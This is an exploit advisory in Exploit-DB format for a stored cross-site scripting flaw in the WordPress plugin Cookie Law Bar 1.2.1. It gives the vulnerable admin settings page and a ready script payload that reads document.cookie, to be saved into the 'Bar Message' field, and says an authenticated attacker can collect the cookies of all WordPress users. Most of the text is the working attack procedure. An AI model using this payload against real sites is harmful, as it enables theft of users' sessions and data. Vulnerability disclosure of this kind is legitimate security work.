19 lines
No EOL
828 B
Text
19 lines
No EOL
828 B
Text
# Exploit Title: WordPress Plugin Cookie Law Bar 1.2.1 - 'clb_bar_msg' Stored Cross-Site Scripting (XSS)
|
|
# Date: 2021-05-24
|
|
# Exploit Author: Mesut Cetin
|
|
# Vendor Homepage: https://www.cookielawinfo.com/wordpress-plugin/
|
|
# Software Link: https://wordpress.org/plugins/cookie-law-bar/
|
|
# Version: 1.2.1
|
|
# Tested on: Ubuntu 16.04 LTS, Wordpress 5.7.2
|
|
|
|
# the "Bar Message" text field is vulnerable to stored XSS due to unsanitized user input
|
|
# an authenticated attacker can retrieve cookies / sensitive data of all Wordpress users
|
|
|
|
# proof of concept
|
|
# navigate to the settings of the Cookie Law Bar under
|
|
|
|
http://localhost/wp-admin/options-general.php?page=clb
|
|
|
|
# inject the payload: </script><script>alert(document.cookie)</script> into the "Bar Message field" and save it
|
|
|
|
# browsing through the Wordpress pages shows the cookies |